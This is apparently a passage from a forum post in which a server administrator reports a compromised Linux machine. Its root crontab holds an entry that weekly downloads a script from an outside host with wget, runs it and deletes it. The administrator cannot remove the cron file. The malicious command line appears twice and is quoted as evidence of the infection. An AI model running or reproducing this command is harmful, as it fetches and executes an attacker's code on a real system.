@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
few hours ago. But i think i am safe now because my bash version is
Code: Select all
[root@fr02 cron]# rpm -q bash
bash-4.1.2-15.el6_5.2.x86_64
Code: Select all
[root@fr02 cron]# crontab -l
@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
[root@fr02 cron]#
Code: Select all
in /var/spool/cron/root
...
-rw------- 1 root root 104 Oct 4 09:11 root
...
[root@fr02 cron]# rm root
rm: remove regular file `root'? y
rm: cannot remove `root': Permission denied
[root@fr02 cron]# echo '' > root
-bash: root: Permission denied
Thanks.